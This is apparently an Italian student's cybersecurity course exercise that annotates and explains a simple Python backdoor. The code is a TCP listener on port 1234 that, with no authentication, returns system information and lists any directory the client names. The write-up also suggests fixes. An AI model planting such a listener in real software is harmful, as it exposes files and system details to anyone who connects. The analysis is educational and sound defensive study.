CS0424IT - ESERCITAZIONE S3L4 - BACKDOOR

Simone La Porta

13/06/2024

TRACCIA

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

```python
# Importazione delle librerie necessarie     ■ Missing module docstring (missing-module-docstring)
import os
import platform
import socket

# Definizione dell'indirizzo IP del server (lasciato vuoto per ascoltare su tutti gli IP disponibili)     ■ Line too long (101/100) (line-too-long)
SRV_ADDR = ""
# Definizione della porta su cui il server ascolterà le connessioni
SRV_PORT = 1234

# Creazione di un socket utilizzando IPv4 (AF_INET) e il protocollo TCP (SOCK_STREAM)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Binding del socket all'indirizzo e alla porta specificati
s.bind((SRV_ADDR, SRV_PORT))
# Il server inizia ad ascoltare le connessioni in entrata, con una coda di connessioni pendenti pari a 1     ■ Line too long (104/100) (line-too-long)
s.listen(1)
# Accettazione di una connessione in entrata
connection, address = s.accept()

# Stampa un messaggio che indica che un client si è connesso, mostrando l'indirizzo del client
print("client connected: ", address)

# Loop infinito per mantenere la connessione aperta e gestire i comandi ricevuti
while 1:
    try:
        # Ricezione di dati dal client, con un buffer di 1024 byte
        data = connection.recv(1024)
    except:     ■ No exception type(s) specified (bare-except)
        # Se c'è un errore nella ricezione, continua il loop senza interrompersi
        continue

    # Controllo del comando ricevuto dal client
    if data.decode("utf-8") == "1":
        # Se il comando è '1', raccoglie informazioni sul sistema operativo e l'architettura
        tosend = platform.platform() + " " + platform.machine()
        # Invia le informazioni raccolte al client
        connection.sendall(tosend.encode())
    elif data.decode("utf-8") == "2":
        # Se il comando è '2', tenta di elencare i file in una directory specificata dal client
        data = connection.recv(1024)
        try:
            # Ottiene la lista dei file nella directory specificata
            filelist = os.listdir(data.decode("utf-8"))
            tosend = ""     ■ Constant name "tosend" doesn't conform to UPPER_CASE naming style (invalid-name)
            # Crea una stringa contenente i nomi dei file, separati da una virgola
            for x in filelist:
                tosend += "," + x
        except:     ■ No exception type(s) specified (bare-except)
            # Se c'è un errore (ad esempio, directory inesistente), imposta un messaggio di errore
            tosend = "Wrong path"     ■ Constant name "tosend" doesn't conform to UPPER_CASE naming style (invalid-name)
        # Invia la lista dei file o il messaggio di errore al client
        connection.sendall(tosend.encode())
    elif data.decode("utf-8") == "0":
        # Se il comando è '0', chiude la connessione corrente
        connection.close()
        # Accetta una nuova connessione
        connection, address = s.accept()
```

SVOLGIMENTO

Cos'è una backdoor?

Una **backdoor** è un metodo per ottenere l'accesso a un sistema o a una rete bypassando le normali misure di sicurezza. Le backdoor possono essere utilizzate per mantenere l'accesso non autorizzato a un sistema anche dopo che una vulnerabilità è stata scoperta e corretta. Generalmente, una backdoor può essere installata tramite malware, ma può anche essere implementata da un insider con accesso privilegiato.

Overview

1. **Setup e inizializzazione**:
   - Il server viene configurato per ascoltare su tutti gli indirizzi IP disponibili e sulla porta 1234.
   - Viene creato un socket TCP e viene messo in ascolto.
2. **Accettazione delle connessioni**:
   - Il server accetta la prima connessione in entrata e stampa un messaggio di conferma.
3. **Gestione dei comandi**:
   - Il server entra in un loop infinito per gestire i comandi inviati dal client.
   - Riceve comandi e risponde in base a questi comandi:
     1. 1: Invia informazioni sul sistema operativo.
     2. 2: invia la lista dei file in una directory specificata.
     3. 0: chiude la connessione corrente e accetta una nuova connessione.
4. **Error handling**:
   - Gestisce eventuali errori nella ricezione dei dati o nell'elenco dei file senza interrompere il funzionamento del server.

Il codice presenta una potenziale vulnerabilità che potrebbe essere sfruttata come backdoor. In particolare, accetta comandi dal client senza alcuna autenticazione e esegue operazioni basate su tali comandi. Questo potrebbe consentire a un utente malintenzionato di eseguire comandi dannosi sul server senza autorizzazione.

Ad esempio un attaccante potrebbe inviare un comando al server per elencare i file in una directory sensibile, ottenendo così informazioni riservate. Oppure, potrebbe sfruttare l'assenza di sanitizzazione dei dati per eseguire un comando di sistema che alteri lo stato del server, come la cancellazione di file critici.

- **Punti di potenziale vulnerabilità**:
    1. **Nessuna autenticazione**:
        - *Descrizione*: il server non richiede alcuna forma di autenticazione per accettare i comandi dal client.
        - *Rischio*: qualsiasi client che conosca l'indirizzo IP e la porta del server può inviare comandi e interagire con esso.
        - *Conseguenze*: senza autenticazione, un attaccante potrebbe facilmente connettersi al server e sfruttarlo per eseguire operazioni non autorizzate.
    2. **Esecuzione di comandi**:
        - *Descrizione*: il server esegue comandi basati sui dati ricevuti dal client senza alcuna verifica o sanitizzazione.
        - *Rischio*: il server può eseguire comandi di sistema operativo come elencare i file in una directory specificata dal client.
        - *Conseguenze*: un utente malintenzionato potrebbe sfruttare questa funzionalità per eseguire comandi dannosi sul server, compromettendo ulteriormente il sistema.
- **Miglioramenti consigliati:**
    1. **Implementare autenticazione**:
        - richiedere l'autenticazione del client prima di accettare e processare qualsiasi comando.
        - utilizzare protocolli sicuri come TLS (Transport Layer Security) per criptare le comunicazioni tra il client e il server.
    2. **Sanitizzazione e validazione dei comandi**:
        - validare e sanitizzare tutti i comandi ricevuti dal client per assicurarsi che siano sicuri e autorizzati.
        - implementare un set ristretto di comandi autorizzati, ignorando o bloccando qualsiasi altro comando non riconosciuto.
    3. **Logging e monitoraggio**:
        - implementare un sistema di logging per tracciare tutte le connessioni e i comandi ricevuti.
        - monitorare il server per rilevare attività sospette o non autorizzate.

Analisi

1. **Importazione delle librerie**:
    - socket: utilizzata per creare e gestire connessioni di rete.
    - platform: utilizzata per raccogliere informazioni sul sistema operativo.

- os: utilizzata per interagire con il file system (ad esempio, per elencare i file in una directory).

```
import socket, platform, os
```

2. **Definizione delle variabili**:
   - SRV_ADDR: l'indirizzo IP del server. Lasciato vuoto ("") per permettere al server di ascoltare su tutti gli indirizzi IP disponibili.
   - SRV_PORT: la porta su cui il server ascolta le connessioni in entrata (1234).

```
SRV_ADDR = ""
SRV_PORT = 1234
```

3. **Creazione del socket**:
   - socket.AF_INET: specifica che verrà utilizzato IPv4.
   - socket.SOCK_STREAM: specifica che verrà utilizzato il protocollo TCP.

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```

4. **Binding del socket**:
   - Associa il socket all'indirizzo e alla porta specificati.

```
s.bind((SRV_ADDR, SRV_PORT))
```

5. **Inizio ascolto delle connessioni**:
   - Configura il socket per ascoltare le connessioni in entrata.
   - Il parametro 1 specifica la lunghezza della coda di connessioni pendenti.

```
s.listen(1)
```

6. **Accettazione di una connessione**:
   - Il server accetta una connessione in entrata e restituisce un nuovo socket (connection) per comunicare con il client e l'indirizzo del client (address).

```
connection, address = s.accept()
```

7. **Messaggio di connessione**:

- Stampa un messaggio per indicare che un client si è connesso, mostrando l'indirizzo del client.

```
print("client connected: ", address)
```

8. **Inizio del loop infinito**:
   - Questo loop permette al server di gestire continuamente i comandi inviati dal client.

```
while 1:
```

9. **Ricezione dei dati**:
   - Tenta di ricevere fino a 1024 byte di dati dal client.
   - Se c'è un errore (ad esempio, se la connessione viene interrotta), continua il loop senza interrompersi.

```
try:
    data = connection.recv(1024)
except:
    continue
```

10. **Controllo del comando '1' e sua esecuzione**:
    - Decodifica i dati ricevuti in una stringa UTF-8 e verifica se il comando è '1'.
    - Se il comando è '1', raccoglie informazioni sul sistema operativo e sull'architettura della macchina utilizzando platform.platform() e platform.machine().
    - Invia queste informazioni al client dopo averle codificate in UTF-8.

```
if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
```

11. **Controllo del comando '2'**:
    - Decodifica i dati ricevuti in una stringa UTF-8 e verifica se il comando è '2'.
    - Riceve un altro set di dati dal client, che dovrebbe contenere il percorso della directory da elencare.
    - Tenta di elencare i file nella directory specificata usando os.listdir().
    - Se riesce, crea una stringa contenente i nomi dei file separati da una virgola.
    - Se fallisce (ad esempio, se la directory non esiste), imposta tosend a "Wrong path".

- Invia la lista dei file o il messaggio di errore al client.

```
        elif(data.decode('utf-8') == '2'):
            data = connection.recv(1024)
            try:
                filelist = os.listdir(data.decode('utf-8'))
                tosend = ""
                for x in filelist:
                    tosend += "," + x
            except:
                tosend = "Wrong path"
            connection.sendall(tosend.encode())
```

12. **Controllo del comando ‘0’**:
    - Decodifica i dati ricevuti in una stringa UTF-8 e verifica se il comando è ‘0’.
    - Se il comando è ‘0’, chiude la connessione corrente.
    - Accetta una nuova connessione in entrata, riavviando il processo.

```
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```